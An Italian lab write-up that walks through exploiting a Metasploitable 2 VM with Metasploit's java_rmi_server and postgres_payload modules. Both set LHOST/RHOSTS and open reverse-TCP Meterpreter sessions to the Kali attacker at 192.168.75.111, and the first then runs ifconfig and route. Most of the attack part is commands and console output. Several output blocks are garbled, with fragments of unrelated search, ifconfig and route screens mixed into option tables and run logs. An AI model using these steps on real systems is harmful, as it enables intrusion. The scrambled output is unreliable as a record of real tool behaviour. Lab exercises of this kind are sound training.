

TRACCIA

REQUISITI:

- MACCHINA KALI DEVE AVERE IL SEGUENTE INDIRIZZO IP:
192.168.75.111
- MACCHINA METASPOITABLE DEVE AVERE IL SEGUENTE INDIRIZZO IP:
192.168.75.112
- UNA VOLTA OTTENUTA LA SESSIONE REMOTA DI **METERPRETER**
BISOGNA RACCOGLIERE LE SEGUENTI INFORMAZIONI:

CONFIGURAZIONE DI RETE.

INFORMAZIONI SULLA TABELLA DI ROUTING DELLA MACCHINA VITTIMA

IP KALI:

192.168.75.111

```
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:e5:fd:7d brd ff:ff:ff:ff:ff:ff
    inet 192.168.75.111/24 brd 192.168.75.255 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fee5:fd7d/64 scope link proto kernel_ll
        valid_lft forever preferred_lft forever
```

IP META:

192.168.75.112

```
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:32:49:a2 brd ff:ff:ff:ff:ff:ff
    inet 192.168.75.112/24 brd 192.168.75.255 scope global eth0
    inet6 fe80::a00:27ff:fe32:49a2/64 scope link
        valid_lft forever preferred_lft forever
```

CONFIGURAZIONE DI RETE:

```
(kali@10)-[~]  
$ ping 192.168.75.112  
PING 192.168.75.112 (192.168.75.112) 56(84) bytes of data.  
64 bytes from 192.168.75.112: icmp_seq=1 ttl=64 time=7.33 ms  
64 bytes from 192.168.75.112: icmp_seq=2 ttl=64 time=0.475 ms  
64 bytes from 192.168.75.112: icmp_seq=3 ttl=64 time=0.483 ms  
64 bytes from 192.168.75.112: icmp_seq=4 ttl=64 time=0.543 ms  
^C  
— 192.168.75.112 ping statistics —  
4 packets transmitted, 4 received, 0% packet loss, time 3055ms  
rtt min/avg/max/mdev = 0.475/2.208/7.331/2.957 ms
```

ABBIAMO INIZIATO CONTROLLANDO CON “**PING**”
CHE LE DUE MACCHINE FOSSERO CONNESSE TRA
DI LORO E SI POTESSE RAGGIUNGERE

```
msfconsole -q
```

```
msf6 > search java_rmi normal No Authentication capture: PostgreSQL
1 post/linux/gather/enum_users_history
Matching Modules normal No Linux Gather User History
=====
1 uri/http/manage_engine_dc_pmp_sql 2014-06-08 excellent Yes ManageEngine Desktop Central / Password
# Name kViewFetchServlet.dat SQL Injection Disclosure Date Rank Check Des
- - - - -
0 auxiliary/gather/java_rmi_registry . normal No Jav
1 exploit/multi/misc/java_rmi_server 680200 / v9 2011-10-15 PostgreSQL excellent Yes Jav
2 \_ target: Generic (Java Payload) . . .
3 \_ target: Windows x86 (Native Payload) 60200 / v9 < 690039 (PostgreSQL) on Win
4 \_ target: Linux x86 (Native Payload) . . .
5 \_ target: Mac OS X PPC (Native Payload) 670200 / v8 / v9 < 690039 (MySQL) on W
6 \_ target: Mac OS X x86 (Native Payload) . . .
7 auxiliary/scanner/misc/java_rmi_server 67000 / v8 2011-10-15 67000 normal No Jav
8 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Jav
9 \_ target: Password Manager 680 / v8 < 68000 / v7 < 68003 (MySQL) on Windows
```

- ABBIAMO APERTO **MSFCONSOLE** IN MODAITÀ QUIET CON **-Q**
- SUCCESSIVAMENTE ABBIAMO USATO IL COMANDO "SEARCH JAVA_RMI"
- ABBIAMO USATO IL COMANDO "USE 1" IN QUESTO CASO PER SELEZIONARE IL MODULO N°1 **EXPLOIT/MULTI/MISC/JAVA_RMI_SERVER**

```
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):


| Name      | Current Setting | Required | Description                                                 |
|-----------|-----------------|----------|-------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request |
| RHOSTS    |                 | yes      | The target host(s), see https://docs.metasploit.com/docs    |
| RPORT     | 1099            | yes      | The target port (TCP)                                       |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This m    |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                |
| SSL       | false           | no       | Negotiate SSL for incoming connections                      |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly ge    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)         |


```

```
Payload options (java/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.75.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


```

- INSERENDO IL COMANDO “**SHOW OPTIONS**” ABBIAMO CHIESTO CHE CI VENGANO FATTE VEDERE LE OPZIONI DEL MODULO E, CI ACCORGIAMO SUBITO CHE MANCA L’“RHOSTS”, CIOÈ L’INDIRIZZO DELLA MACCHINA TARGET CHE VOGLIAMO ATTACCARE

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.75.112
RHOST => 192.168.75.112
```

- IMPOSTIAMO ALLORA L’IP DELLA MACCHINA TARGET USANDO IL COMANDO “**SET RHOSTS**” E INDICANDO L’INDIRIZZO IP DELLA VITTIMA

```

msf6 exploit(multi/misc/java_rmi_server) > show options
0  auxiliary/server/capture/postgresql
Module options (exploit/multi/misc/java_rmi_server):
1  post/linux/gather/enum_users_history
2  exploit/multi/http/manage_engine_de_pmp_sql
Name      Current Setting  Required  Description
-----
HTTPDELAY  10               yes       Time that the HTTP Server will
RHOSTS    192.168.75.112  yes       The target host(s), see https
RPORT     1099             yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface
SRVPORT   8080             yes       The local port to listen on.
SSL       false            no        Negotiate SSL for incoming connections
SSLCert   target: Desktop  no        Path to a custom SSL certificate
URIPATH   \                no        The URI to use for this exploit
6  \target: Desktop Central [MSP] v7 > b70200 / v8 / v9 < b90

```

- INSERENDO DI NUOVO IL COMANDO "SHOW OPTIONS" PER PRECAUZIONE, CI ASSICURIAMO CHE L'RHOSTS SIA STATO INSERITO E REGISTRATO CORRETTAMENTE

```
msf6 exploit(multi/misc/java_rmi_server) > run description

[*] Started reverse TCP handler on 192.168.75.111:4444
[*] 192.168.75.112:1099 - Using URL: http://192.168.75.111:8080/zz9j7EXV205
[*] 192.168.75.112:1099 - Server started. Authentication Capture: PostgreSQL
[*] 192.168.75.112:1099 - Sending RMI Header ...
[*] 192.168.75.112:1099 - Sending RMI Call ... Linux Gather User History
[*] 192.168.75.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.75.112:60757 geEngine Desktop Central / Password
[*] Meterpreter session 1 opened (192.168.75.111:4444 → 192.168.75.112:60757) at 2024
```

- CI SIAMO, DIAMO IL COMANDO “**RUN**” OPPURE ANCHE “**EXPLOIT**” PER FAR PARTIRE L’ATTACCO

meterpreter

- VIENE APERTA LA SESSIONE DI **METERPRETER**, DANDOCI COSÌ LA POSSIBILITÀ DI CERCARE I COMANDI DI CUI VOGLIAMO USUFRUIRE.

```
meterpreter > ifconfig

# Name
Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1 normal
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1 normal
IPv6 Netmask : ::ffff:0:0

Manager LinkViewFetchServlet.dat SQL In
2014-06-08
Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.75.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe32:49a2
IPv6 Netmask : ::
```

- IL PRIMO REQUISITO CHE CI VENIVA CHIESTO ERA QUELLO DI CERCARE INFORMAZIONI SULLA CONFIGURAZIONE DI RETE
- PER FAR CIÒ ABBIAMO UTILIZZATO IL COMANDO “**IFCONFIG**”

```
meterpreter > route

Automatic

IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            lo
192.168.75.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric      Interface
-----
fe80::a00:27ff:fe32:49a2 ::ffff:0:0    0            eth0
```

- IL SECONDO REQUISITO CHE CI VENIVA CHIESTO ERANO LE INFORMAZIONI SULLA TABELLA DI ROUTING DELLA MACCHINA VITTIMA
- ABBIAMO USATO IL COMANDO “**ROUTE**”

TRACCIA N°2

SPRUTTA LA VULNERABILITÀ NEL SERVIZIO POSTGRESQL DI METASPLOITABLE 2.
ESEGUI L'EXPLOIT PER OTTENERE UNA SESSIONE METERPRETER SUL SISTEMA
TARGET.

```
msfconsole -q
```

- USIAMO DI NUOVO IL COMANDO PER APRIRE MSF6 “**MSFCONSOLE -Q**”
SEMPRE IN MODALITÀ QUIET

```
msf6 > search exploit/linux/postgres/postgres_payload
Hardware MAC : 00:00:00:00:00:00
Matching Modules (2,168,75,112)
===== (3,255,255,0)
IPv6 Address : fe80::a00:27ff:fe32:49a2
IPv# Name Rank Disclosure Date Check Descr
- - - - -
met0 exploit/linux/postgres/postgres_payload 2007-06-05 excellent Yes Postg
1 \_ target: Linux x86 . . .
IPv2 net \_ target: Linux x86_64 . . .

Interact with a module by name or index. For example info 2, use 2 or use exploit/linux
After interacting with a module you can manually set a TARGET with set TARGET 'Linux x86_64'
137.0.0.0 255.0.0.0 0.0.0.0
```

- USANDO DI NUOVO IL COMANDO “SEARCH” POSSIAMO CERCARE IL
MODULO CHE PIÙ CI INTERESSA
SEARCH EXPLOIT/LINUX/POSTGRES/POSTGRES_PAYLOAD

```
msf6 > use 0
```

- LO SELEZIONIAMO CON IL COMANDO “USE”

```

msf6 exploit(linux/postgres/postgres_payload) > show options
IPv4 Address: 127.0.0.1
Module options (exploit/linux/postgres/postgres_payload):
IPv6 Address: ::1
Name      Current Setting  Required  Description
----      -
VERBOSE   false            no        Enable verbose output
Interface: 0

Name      Current Setting  Required  Description
----      -
Used when making a new connection via RHOSTS:
Hardware MAC: 00:00:00:00:00:00
Name      Current Setting  Required  Description
----      -
DATABASE  postgres         no        The database to authenticate
PASSWORD  postgres         no        The password for the specifici
RHOSTS    [redacted]        no        The target host(s), see http
RPORT     5432             no        The target port
USERNAME  postgres         no        The username to authenticate
IPv4 network routes

Used when connecting via an existing SESSION:
Subnet    Netmask          Gateway         Metric         Interface
Name      Current Setting  Required  Description
----      -
SESSION   192.168.75.112  255.255.0.0    no             0.0.0.0 The session to run this modul

Payload options (linux/x86/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
----      -
LHOST     [redacted]        yes       The listen address (an interfac
LPORT     4444             yes       The listen port

```

- ANCHE QUI CON SHOW OPTIONS POSSIAMO NOTARE COME CI VENGANO RESTITuite LE IMPOSTAZIONI DEL MODULO E IN QUESTO CASO CI VIENE CHIESTO DI INSERIRE L'**RHOSTS** E **LHOST** (CONTRASSEGNA TI DAL RETTANGOLO ROSSO), QUINDI RISPETTIVAMENTE L'INDIRIZZO IP DELLA MACCHINA TARGET E QUELLO DELL'ATTACCANTE

```

msf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.75.111
LHOST => 192.168.75.111
msf6 exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.75.112
RHOSTS => 192.168.75.112

```

- QUI DI SEGUITO VEDIAMO COME GLI ABBIAMO IMPOSTATI USANDO IL COMANDO "**SET**"

```
msf6 exploit(linux/postgres/postgres_payload) > run
IPv4 Netmask : 255.0.0.0
[*] Started reverse TCP handler on 192.168.75.111:4444
[*] 192.168.75.112:5432 - PostgreSQL 8.3.1 on i486-pc-linux
[*] Uploaded as /tmp/uMRJeLh0.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.75.112
[*] Meterpreter session 1 opened (192.168.75.111:4444 → 192.168.75.112:5432)
```

- INFINE CON IL COMANDO “**RUN**” FACCIAMO PARTIRE L’ATTACCO

- LA TRACCIA CI CHIEDEVA SEMPLICEMENTE DI OTTENERE UNA SESSIONE METERPRETER SUL SISTEMA TARGET

```
meterpreter > █
```